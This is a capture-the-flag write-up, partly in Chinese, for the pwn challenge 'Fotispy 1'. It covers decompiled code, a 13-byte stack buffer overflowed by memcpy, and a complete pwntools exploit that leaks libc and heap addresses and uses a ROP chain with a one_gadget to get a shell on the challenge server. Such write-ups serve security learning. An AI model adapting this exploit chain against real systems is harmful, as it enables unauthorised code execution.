Fotispy 1#

Information#

Category: Pwn
Points: 500

Description#

Spotify with a GUI? A true hacker only needs the terminal. Note: Despite the naming, these 7 challenges can be solved in any order and do not depend on each other.

Write-up#

经过分析，得到程序用的结构体大致是这样的：

1
00000000 struct Userdata // sizeof=0x18
2
00000000 {
3
00000000     char *username;
4
00000008     char *password;
5
00000010     struct Favorite *favorites;
6
00000018 };
7

8
00000000 struct Favourite // sizeof=0x10
9
00000000 {
10
00000000     struct Favourite *next;
11
00000008     struct Song *song;
12
00000010 };
13

14
00000000 struct Song // sizeof=0x30
15
00000000 {
16
00000000     char *title;
17
00000008     int title_len;
18
0000000C     // padding byte
19
0000000D     // padding byte
20
0000000E     // padding byte
21
0000000F     // padding byte
22
00000010     char *album;
23
00000018     int album_len;
24
0000001C     // padding byte
25
0000001D     // padding byte
26
0000001E     // padding byte
27
0000001F     // padding byte
28
00000020     char *from;
29
00000028     int from_len;
30
0000002C     // padding byte
31
0000002D     // padding byte
32
0000002E     // padding byte
33
0000002F     // padding byte
34
00000030 };

发现 memcpy 会复制定长数据到 dest，但是 dest 只有 13 字节，怀疑可能有 BOF。运行程序测试了一下，确实崩溃了。

TIP
这里后期还得通过 display 函数泄漏 favourite 结构体的地址，因为我们不想执行第二次 while 循环，而覆盖返回地址一定会破坏原先的 favourite 结构体地址。

1
int display_fav()
2
{
3
  struct Favourite *v0; // rax
4
  char dest[13]; // [rsp+Bh] [rbp-15h] BYREF
5
  Favourite *favorites; // [rsp+18h] [rbp-8h]
6

7
  if ( login_idx == -1 )
8
  {
9
    LODWORD(v0) = puts("[-] No user has logged in yet.");
10
  }
11
  else
12
  {
13
    favorites = (Favourite *)users[(unsigned __int8)login_idx]->favorites;
14
    memset(dest, 0, sizeof(dest));
15
    LODWORD(v0) = puts("[~] Your favorites:");
16
    while ( favorites )
17
    {
18
      memcpy(dest, favorites->song->title, (unsigned int)favorites->song->title_len);
19
      printf("    - Song: %s", dest);
20
      memcpy(dest, favorites->song->album, (unsigned int)favorites->song->album_len);
21
      printf(" - %s", dest);
22
      memcpy(dest, favorites->song->from, (unsigned int)favorites->song->from_len);
23
      printf(" - %s\n", dest);
24
      v0 = favorites->next;
25
      favorites = favorites->next;
26
    }
27
  }
28
  return (int)v0;
29
}

继续分析，发现 add_song 会读取 256 字节数据，并设置对应数据的长度为 256。那配合上面的 display_fav，就完全可以 BOF 打 ROP 了。

1
int add_song()
2
{
3
  struct Userdata *v0; // rax
4
  struct Favorite *v2; // [rsp+8h] [rbp-38h]
5
  struct Song *song; // [rsp+10h] [rbp-30h]
6
  int from_len; // [rsp+1Ch] [rbp-24h]
7
  int album_len; // [rsp+20h] [rbp-20h]
8
  int title_len; // [rsp+24h] [rbp-1Ch]
9
  char *album; // [rsp+28h] [rbp-18h]
10
  char *from; // [rsp+30h] [rbp-10h]
11
  char *title; // [rsp+38h] [rbp-8h]
12

13
  if ( login_idx == -1 )
14
  {
15
    LODWORD(v0) = puts("[-] No user has logged in yet.");
16
  }
17
  else
18
  {
19
    title = (char *)calloc(256uLL, 1uLL);
20
    from = (char *)calloc(256uLL, 1uLL);
21
    album = (char *)calloc(256uLL, 1uLL);
22
    printf("[DEBUG] %p\n", &printf);
23
    printf("[~] Please enter a song title: ");
24
    title_len = readn((__int64)title, 256LL);
25
    printf("[~] Please enter a who %s is from: ", title);
26
    album_len = readn((__int64)album, 256LL);
27
    printf("[~] Please enter which album %s is on: ", title);
28
    from_len = readn((__int64)from, 256LL);
29
    song = (struct Song *)calloc(48uLL, 1uLL);
30
    song->from = from;
31
    song->from_len = from_len;
32
    song->title = title;
33
    song->title_len = title_len;
34
    song->album = album;
35
    song->album_len = album_len;
36
    v2 = (struct Favorite *)calloc(16uLL, 1uLL);
37
    *((_QWORD *)v2 + 1) = song;
38
    *(_QWORD *)v2 = users[(unsigned __int8)login_idx]->favorites;
39
    v0 = users[(unsigned __int8)login_idx];
40
    v0->favorites = v2;
41
  }
42
  return (int)v0;
43
}

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    remote,
10
    u64,
11
)
12

13
FILE = "./fotispy1"
14
HOST, PORT = "52.59.124.14", 5191
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19
libc = ELF("./libc.so.6")
20

21

22
def register(target, username, password):
23
    target.sendlineafter(b"Please enter your choice [E]: ", b"0")
24
    target.sendlineafter(b"username: ", username)
25
    target.sendlineafter(b"password: ", password)
26

27

28
def login(target, username, password):
29
    target.sendlineafter(b"Please enter your choice [E]: ", b"1")
30
    target.sendlineafter(b"username: ", username)
31
    target.sendlineafter(b"password: ", password)
32

33

34
def leak(target):
35
    target.recvuntil(b"[DEBUG] ")
36
    return int(target.recvline().strip(), 16)
37

38

39
def add(target, song_title, song_from, song_on):
40
    target.sendlineafter(b"Please enter your choice [E]: ", b"2")
41
    printf_addr = leak(target)
42

43
    target.sendlineafter(b"title: ", song_title)
44
    target.sendlineafter(b"from: ", song_from)
45
    target.sendlineafter(b"on: ", song_on)
46
    return printf_addr
47

48

49
def display(target):
50
    target.sendlineafter(b"Please enter your choice [E]: ", b"3")
51

52

53
def launch():
54
    if args.L:
55
        target = process(FILE)
56
    else:
57
        target = remote(HOST, PORT)
58
    return target
59

60

61
def main():
62
    target = launch()
63

64
    register(target, b"admin", b"admin")
65
    login(target, b"admin", b"admin")
66
    printf_addr = add(target, b"a", b"a", b"a")
67
    libc.address = printf_addr - libc.sym["printf"]
68

69
    payload = b"A" * 0xD
70
    add(target, b"a", b"a", payload)
71
    display(target)
72

73
    target.recvuntil(b"\x0a")
74
    target.recvuntil(b"\x0a")
75
    favourite_addr = u64(target.recvuntil(b"\x0a").strip()[-4:].ljust(0x8, b"\x00"))
76

77
    pop_rdi = libc.address + 0x00000000000277E5
78
    one_gadget = libc.address + 0xD515F
79
    payload = flat(
80
        b"A" * 0xD,
81
        favourite_addr,
82
        elf.bss(),
83
        pop_rdi,
84
        0x0,
85
        one_gadget,
86
    )
87
    add(target, b"a", b"a", payload)
88
    display(target)
89

90
    target.interactive()
91

92

93
if __name__ == "__main__":
94
    main()